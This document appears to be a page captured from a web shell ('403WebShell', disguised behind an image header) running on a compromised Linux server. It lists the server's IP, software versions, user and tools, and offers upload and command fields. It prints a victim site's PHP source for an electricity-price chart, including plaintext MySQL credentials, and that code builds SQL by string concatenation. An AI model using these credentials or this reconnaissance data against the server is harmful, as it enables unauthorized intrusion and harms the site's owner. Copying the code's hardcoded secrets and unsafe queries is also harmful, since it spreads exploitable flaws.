????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.16.164.14
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/shellyctr/js/package/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/shellyctr/js/package/index.php
<?php

//ini_set('display_errors', 1);
//ini_set('display_startup_errors', 1);
//error_reporting(E_ALL);

$mysqli = new mysqli("www.astacus.se", "carlhoffstedt", "Astacus2020!", "ShellyCTR");

	$sql = "SELECT * FROM tblNordpool order by endTime desc LIMIT 1";
		$result = $mysqli->query($sql);
		while($obj = $result->fetch_object()){  
		  	$latest_date =  substr($obj->endTime,0,10); 
		}
?>

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Namnlöst dokument</title>


<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<script src="js/package/dist/utils.js"></script>
	
		<style>
		
		table, th, td {
            font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', 'Helvetica', 'Arial', 'sans-serif';
			font-size: 8px;
              border-collapse: collapse;
        }
            
	</style>
	
	
</head>

<body>
<center>
<select name="area" id="area">
  <option value="">-- Välj elområde --</option>
  <option value="1">SE1</option>
  <option value="2">SE2</option>
  <option value="3">SE3</option>
  <option value="4">SE4</option>
</select>
    
<select name="off_procent" id="off_procent">
  <option value="">-- OFF % --</option>
  <option value="0">0</option>
  <option value="0.1">10</option>
  <option value="0.2">20</option>
  <option value="0.3">30</option>
  <option value="0.4">40</option>
  <option value="0.5">50</option>
  <option value="0.6">60</option>
  <option value="0.7">70</option>
  <option value="0.8">80</option>
  <option value="0.9">90</option>
  <option value="1.0">100</option>
    
</select>
    
    <select name="on_procent" id="on_procent">
  <option value="">-- ON % --</option>
  <option value="0">0</option>
  <option value="0.1">10</option>
  <option value="0.2">20</option>
  <option value="0.3">30</option>
  <option value="0.4">40</option>
  <option value="0.5">50</option>
  <option value="0.6">60</option>
  <option value="0.7">70</option>
  <option value="0.8">80</option>
  <option value="0.9">90</option>
  <option value="1.0">100</option>
</select>

    
    
</center>

  <canvas id="myChart" width="100%" ></canvas>

	
	
<?php
	
	
	if(date("Y-m-d") == $latest_date ){
			$from = date("Y-m-d",strtotime("+0 days"))." 00:00:00";
	}else{
		
		$from = date("Y-m-d",strtotime("+1 days"))." 00:00:00";
	}
    
    
      
    
    
	
        $sql = "SELECT DISTINCT(endTime) FROM tblNordpool WHERE endTime >= '".$from."' order by endTime";
 
		$result = $mysqli->query($sql);
      
        $json_labels_t = "[";
   
		$labels_arr = array();
    	$tariff_arr = array();
        while($obj = $result->fetch_object()){  
          $timestamp =  $obj->endTime;  
          $json_labels_t = $json_labels_t . "'". $timestamp ."',";
          $labels_arr[] = $timestamp;         
        
            
            $month = date("n",strtotime($timestamp)); //1-12
            $hour = date("G",strtotime($timestamp)); // 0-24
            if($month >= 11 || $month <= 3){
                 if($hour >= 6 && $hour < 22){
                      $tariff = 0.536;
                 }else{
                      $tariff = 0.20;
                 }
            }else{
                $tariff = 0.20;
            }
            
            
            $tariff_arr[] = $tariff;
        
          }
        $json_labels_t = $json_labels_t . "'". str_replace("23:00:00","24:00:00",$timestamp) ."',";
        $json_labels_t = $json_labels_t . "]";
    

        $moms = 1.25;
    
    
    
    

		$sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and area = 'SE1' order by endTime";
        $result = $mysqli->query($sql);

		$arr1 = array();
        while($obj = $result->fetch_object()){  
           $timestamp =  $obj->endTime;  
           $value =   ($obj->value/1000  + $tariff)*$moms;
           $arr1[] = array($timestamp,$value); 
        }
		  $arr1[] = array($timestamp,$value); 
    
	$sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and area = 'SE2' order by endTime";
        $result = $mysqli->query($sql);

		$arr2 = array();
        while($obj = $result->fetch_object()){  
           $timestamp =  $obj->endTime;  
           $value =   ($obj->value/1000  + $tariff)*$moms;
           $arr2[] = array($timestamp,$value); 
        }
      $arr2[] = array($timestamp,$value); 
	
	$sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and area = 'SE3' order by endTime";
        $result = $mysqli->query($sql);

		$arr3 = array();
        while($obj = $result->fetch_object()){  
           $timestamp =  $obj->endTime;  
           $value =   ($obj->value/1000  + $tariff)*$moms;
           $arr3[] = array($timestamp,$value); 
        }
     $arr3[] = array($timestamp,$value); 
	
	$sql = "SELECT * FROM tblNordpool WHERE endTime >= '".$from."' and area = 'SE4' order by endTime";
        $result = $mysqli->query($sql);

		$arr4 = array();
        while($obj = $result->fetch_object()){  
           $timestamp =  $obj->endTime;  
           $value =  ($obj->value/1000  + $tariff)*$moms;
           $arr4[] = array($timestamp,$value); 
        }
    $arr4[] = array($timestamp,$value); 
	
	
    
        
	$json_data_t1 = "data : [";
	$json_data_t2 = "data : [";
	$json_data_t3 = "data : [";
	$json_data_t4 = "data : [";

    
	foreach ($labels_arr as &$value) {
    	
		$f1 = false;
		foreach ($arr1 as &$v1) {
			if($v1[0] == $value){
				 $json_data_t1 = $json_data_t1 . $v1[1].",";
				 $f1 = true;
			}
		}
		if($f1 == false){
			$json_data_t1 = $json_data_t1 .",";
		}
		
		
		$f1 = false;
		foreach ($arr2 as &$v1) {
			if($v1[0] == $value){
				 $json_data_t2 = $json_data_t2 . $v1[1].",";
				 $f1 = true;
			}
		}
		if($f1 == false){
			$json_data_t2 = $json_data_t2 .",";
		}
		
		
			$f1 = false;
		foreach ($arr3 as &$v1) {
			if($v1[0] == $value){
				 $json_data_t3 = $json_data_t3 . $v1[1].",";
				 $f1 = true;
			}
		}
		if($f1 == false){
			$json_data_t3 = $json_data_t3 .",";
		}
		
		
			$f1 = false;
		foreach ($arr4 as &$v1) {
			if($v1[0] == $value){
				 $json_data_t4 = $json_data_t4 . $v1[1].",";
				 $f1 = true;
			}
		}
		if($f1 == false){
			$json_data_t4 = $json_data_t4 .",";
		}
		
		  
	}
	$json_data_t1 = $json_data_t1 . "]";
	$json_data_t2 = $json_data_t2 . "]";
	$json_data_t3 = $json_data_t3 . "]";
	$json_data_t4 = $json_data_t4 . "]";

	////////////
	
		$percent_off = $_GET['P_OFF']/100;
        $percent_on = $_GET['P_ON']/100;
		$area = $_GET['area'];
	
		if($percent_off == ""){
			$percent_off  = 0.2;
		}
        if($percent_on == ""){
			$percent_on  = 0.2;
		}
		$nbr_hrs_off = round((24*$percent_off));
        $nbr_hrs_on = round((24*$percent_on));
	
		
		$arr_use = $arr3;
	   $area = 3;
		if($area == 1){
			$arr_use = $arr1;
            $json_data_t1 = $json_data_t1;
		}else if($area == 2){
			$arr_use = $arr2;
             $json_data_t1 = $json_data_t2;
		}else if($area == 3){
			$arr_use = $arr3;
             $json_data_t1 = $json_data_t3;
		}else if($area == 4){
			$arr_use = $arr4;
             $json_data_t1 = $json_data_t4;
		}
    
        $sum = 0;
        foreach ($arr_use as &$v1) {
			 $sum +=$v1[1];
		}
        $average = $sum/count($arr_use);
   
	
	
		$arr_off = array();
        $arr_on = array();
		foreach ($arr_use as &$v1) {
			$arr_off[] = $v1[1];
            $arr_on[] = $v1[1];
		}

		rsort($arr_off);
		$largest = array_slice($arr_off, 0, $nbr_hrs_off);
	   
        sort($arr_on);
		$smallest = array_slice($arr_on, 0, $nbr_hrs_on);

	
		$json_data_t5 = "data : [";
		$f1 = false;
		foreach ($arr_use as &$v1) {
			if(in_array($v1[1],$largest)){
				 $json_data_t5 = $json_data_t5 . "'OFF',";
				 $f1 = true;
			}else{
				 $json_data_t5 = $json_data_t5 . "'ON',";
			}
		}
		if($f1 == false){
			$json_data_t5 = $json_data_t5 .",";
		}
		$json_data_t5 = $json_data_t5 . "]";
    
    
    
		$json_data_t6 = "data : [";
		$f1 = false;
		foreach ($arr_use as &$v1) {
			if(in_array($v1[1],$smallest)){
				 $json_data_t6 = $json_data_t6 . "'ON',";
				 $f1 = true;
			}else{
				 $json_data_t6 = $json_data_t6 . "'OFF',";
			}
		}
		if($f1 == false){
			$json_data_t6 = $json_data_t6 .",";
		}
		$json_data_t6 = $json_data_t6 . "]";

    
    $json_data_t7 = "data : [";
		$f1 = false;
		foreach ($arr_use as &$v1) {

                $json_data_t7 = $json_data_t7 . $average.",";
	
		}
		if($f1 == false){
			$json_data_t7 = $json_data_t7 .",";
		}
		$json_data_t7 = $json_data_t7 . "]";
    
    
    
    
		$json_data_t8 = "data : [";
		$f1 = false;
		foreach ($arr_use as &$v1) {
			if($v1[1] < $average){
				 $json_data_t8 = $json_data_t8 . "'ON',";
				 $f1 = true;
			}else{
				 $json_data_t8 = $json_data_t8 . "'OFF',";
			}
		}
		if($f1 == false){
			$json_data_t8 = $json_data_t8 .",";
		}
		$json_data_t8 = $json_data_t8 . "]";

	?>	
<script>


const labels = <?php echo($json_labels_t);?>;
const data = {
  labels: labels,
  datasets: [
      {
      label: 'Medelpris',
        <?php echo($json_data_t7);?>,
	      borderColor: '#FF00FF',
      	  backgroundColor: '#FF00FF',
		  stepped: true,
		  fill: false,
          yAxisID: 'y'
    },
     {
      label: 'SE<?php echo($area);?>',
        <?php echo($json_data_t1);?>,
	      borderColor: '#FF0000',
      	  backgroundColor: '#FF0000',
		 stepped: true,
		fill: true,
        yAxisID: 'y'
    },
      {
      label: 'ON/OFF-reglering baserat på OFF de dyraste <?php echo($percent_off*100);?>% av timmarna i elområde SE<?php echo($area);?>',
        <?php echo($json_data_t5);?>,
	      borderColor: '#005808',
      	  backgroundColor: '#005808',
		  stepped: true,
		  fill: false,
          yAxisID: 'y1'
    }
      ,
      {
      label: 'ON/OFF-reglering baserat på ON de billigaste <?php echo($percent_on*100);?>% av timmarna i elområde SE<?php echo($area);?>',
        <?php echo($json_data_t6);?>,
	      borderColor: '#009b0f',
      	  backgroundColor: '#009b0f',
		  stepped: true,
		  fill: false,
          yAxisID: 'y2'
    },
      {
      label: 'ON/OFF-reglering baserat på lägre än medelpris i elområde SE<?php echo($area);?>',
        <?php echo($json_data_t8);?>,
	      borderColor: '#00e616',
      	  backgroundColor: '#00e616',
		  stepped: true,
		  fill: false,
          yAxisID: 'y3'
    }
     
  ]
};

	
	
const config = {
  maintainAspectRatio: true,
  type: 'line',
  data: data,
  options: {
      
    responsive: true,
    plugins: {
      title: {
        display: true,
        text: 'ELPRISOMRÅDEN <?php echo($latest_date );?>',
      },
    },
      
      
    scales: {
      y: {
        type: 'linear',
        position: 'left',
        stack: 'demo',
        stackWeight: 5,
      },
		y1: {
        type: 'category',
        labels: ['ON', 'OFF'],
        offset: true,
        position: 'left',
        stack: 'demo',
        stackWeight: 2,

      },
        y2: {
        type: 'category',
        labels: ['ON', 'OFF'],
        offset: true,
        position: 'left',
        stack: 'demo',
        stackWeight: 2,

      },
        y3: {
        type: 'category',
        labels: ['ON', 'OFF'],
        offset: true,
        position: 'left',
        stack: 'demo',
        stackWeight: 2,

      }
    }
  }
};
    
  
		
  const myChart = new Chart(
    document.getElementById('myChart'),
    config
  );
    


</script>

</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit